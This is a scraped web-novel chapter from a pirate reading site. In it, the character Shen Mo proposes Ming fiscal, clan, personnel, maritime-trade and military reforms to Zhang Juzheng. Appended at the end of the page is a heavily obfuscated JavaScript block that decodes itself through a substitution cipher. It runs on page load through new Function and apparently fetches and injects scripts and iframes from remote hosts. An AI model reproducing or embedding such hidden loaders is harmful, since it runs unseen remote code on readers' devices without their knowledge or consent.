首页
[切换至繁体版]
返回

第23章 新政条陈

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    “我们先说钱。”
    “钱?”
    “对。你说的五大弊病,根子在钱。”
    “宗室骄恣,是因为宗室岁支占天下赋税之半。”
    “吏治因循,是因为官员俸禄太低,不贪活不下去。”
    “边备未修,是因为军饷拖欠、军户逃亡。”
    “财用大亏,是因为收不上税,也管不住花钱。”
    沈默的声音不紧不慢。
    “所以要改,就得从钱开始。”
    张居正没有说话。
    “先说宗室,宗室骄恣,这没错。”
    “但你不能只说要抑宗藩,你得拿出办法。”
    “洪武年间宗室只有五十八人,到现在嘉靖朝,宗室人口超过了三万人。光是宗禄一年就要吃掉天下赋税的一半。怎么办?”
    “首先,降等袭爵。每传一代降一等,降到一定品级为止。”
    “不能代代都是亲王郡王。”
    “其次,允许宗室科举做官。太祖祖训规定宗室不得参加科举、不得做官、不得从事士农工商,这等于养了三万只只能吃饭的嘴。”
    “改掉这条,让宗室自谋生路。”
    “第三,清查宗室名册,把那些冒名的、伪造谱系的全部剔除出去。”
    张居正听完,沉默了很久。
    “你知道这些事,朝中不是没人提过。”
    “提过,但没人敢做。”
    “因为宗室背后是皇上的亲戚,动了宗室就是动了皇上的面子。”
    “毕竟陛下也是藩王过继大统来的。”
    “那你还说?”
    “因为严嵩也动了宗室的钱。”
    沈默笑了一下:“严世蕃贪的那些河工款、边饷、宫殿修建费,哪一样不是从国库里掏出来的?”
    “国库的钱被严家拿走一半,剩下一半还要养三万个宗室,你说陛下的内库还剩多少?”
    他顿了顿。
    “等严嵩倒了,陛下就会发现,没了严家这只大老鼠,国库的钱还是不够用。”
    “到那时候,谁能让陛下的内库变满,谁就是下一个严嵩……不对,是下一个首辅。”
    张居正的眼神终于变了。
    “你不是要扳倒严嵩。”
    他一字一顿地说:“你是要替严嵩。”
    “不是替严嵩。”
    “严嵩只会替陛下搞钱。我可以替大明搞钱。”
    他站起来,走到墙边。
    墙上挂着一幅他自己画的世界地图,画得不太准,但大体的轮廓已经有了。
    “张司业,你来看。”
    张居正站起来,走到地图前。
    “我们大明的人,眼睛只盯着两京一十三省。”
    沈默的手指落在地图的右下角:
    “这里,是泰西之地。佛郎机人,从泰西出发,坐船往西走,越过大洋……”
    他的手指横跨地图,落在一片巨大的陆地上。
    “发现了这片新大陆。”
    张居正盯着地图上那块陌生的形状。
    “新大陆上有什么?”
    “金山。银山。”
    沈默说:
    “佛郎机人在那里找到了全世界最大的银矿。他们把银子挖出来,铸成银币,然后运到东方来。”
    “来买我们的丝绸、瓷器、茶叶。”
    他转过身,看着张居正。
    “你有没有想过,这些年东南沿海的白银为什么越来越多?”
    张居正没有说话。
    “不是因为我们大明的银矿突然变多了。是因为海外的白银在往中国流。”
    “日本人挖出来的银子、佛郎机人从新大陆运来的银子,全世界的白银,都在往中国流。”
    “嘉靖二十九年到现在,流入中国的白银,九成来自海外。”
    “这跟改革有什么关系?”
    “关系大了。”
    沈默说:
    “你要改赋税,就得有银子。”
    “嘉靖九年,桂萼所上的《任民考》要把所有的赋税徭役折成白银征收,可大明的白银从哪来?”
    “靠国内那几个银矿,一年产不了二十万两,够干什么?”
    他敲了敲地图。
    “所以要开海。海禁是大明的祖制,但祖制不能当饭吃。”
    “你把海禁打开,让商人合法出海贸易,银子就会源源不断地流进来。”
    “有了银子,改革才能推行,国库才能充盈。”
    “国库充盈了,你才有钱整顿吏治、修边备、养军队。”
    张居正的目光在地图上停留了很久。
    “你知道你在说什么吗?”
    “我当然知道。”
    “开海禁,是动太祖高皇帝的祖制。”
    “严嵩贪墨,也是动太祖高皇帝的祖制。”
    沈默说:“天下的事,没有哪一件是不动祖制的。”
    “祖制立了一百多年,有的能用,有的不能用了。不能用的就要改。”
    “谁来决定哪些能改、哪些不能改?”
    “皇帝。”沈默说,“还有首辅。”
    张居正沈默坐回桌前,继续说道:“钱的事说完了。再说人。”
    “人?”
    “你奏疏里说的第二件事,吏治因循。你说官员不做事,考核走过场。”
    “这没错。但你有没有想过,他们为什么不做事?”
    张居正没有接话。
    “不是因为他们懒。是因为做了也白做。”
    “一个知县,辛辛苦苦把一个县治理好了,税粮增加了,人口增长了。”
    “然后呢?吏部考核的时候,他考不过那个给严世蕃送了三千两银子的草包。”
    “所以你要改考核。”
    “对。要定一套规矩,考核只看绩效,不看关系。”
    “税粮增加了多少?人口增加了多少?田地有没有荒芜?刑案有没有积压?”
    “每一项都有数字,每一项都有标准。达标了就升,不达标就降,谁也说不出闲话。”
    张居正的眼睛亮了一下。
    这是他在《论时政疏》里想说但没说清楚的东西。
    “这套规矩叫什么?”
    “考成法。”沈默说。
    张居正把这个名字默念了一遍。
    “再说军队。边备未修,你说是因为军饷拖欠、军户逃亡。但你想过没有,为什么军饷会拖欠?”
    “因为户部没钱。”
    “对。但也不全对。”
    “户部没钱是一方面,另一方面是军饷从户部拨出去,经过兵部,经过巡抚,经过总兵,经过各级将领,每一层都要剥一层皮。”
    “最后到士兵手里的时候,十两银子只剩下三两。”
    “所以要减少中间环节。”
    “对。军饷直接从户部拨到各镇,中间不经过任何人。领多少、发多少,账目公开。”
    张居正点了点头。
    “还有军队本身的问题。大明的军户世袭制,当兵的子孙后代永远当兵。这在一百多年前管用,现在不管用了。”
    “军户大量逃亡,留下来的都是老弱病残。”
    “所以要改募兵制,花钱雇能打仗的人来当兵。”
    沈默说到这里,停了一下。
    “张司业,我说的这些,你觉得哪一条做不到?”
    张居正沉默了很久。
    “每一条都做得到。但每一条都会得罪人。”
    “得罪谁?”
    “宗室。官员。将领。还有……皇上。”
    “那就让他们恨你。”
    沈默看着张居正。
    “张司业,我爹教过我一句话。他说,做大事的人,不能怕被人恨。”
    “你怕被人恨,就什么都做不了。严嵩不怕被人恨,所以他做了二十年首辅。”
    “徐阶也不怕被人恨,只是他把恨藏得更深。你呢?”
    张居正没有说话。
    “你嘉靖二十八年上《论时政疏》的时候,二十五岁。那时候你不怕得罪人。现在你三十七了,反而怕了?”
    张居正看着沈默。
    “你今天跟我说这些,是想让我做什么?”
    “不是现在。等严嵩倒台之后。严嵩一倒,朝局必然大乱。”
    “徐阁老上位,他会用自己的方式收拾烂摊子。”
    “但徐阁老已经六十了,他能做的有限。真正要做的事,得靠你。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();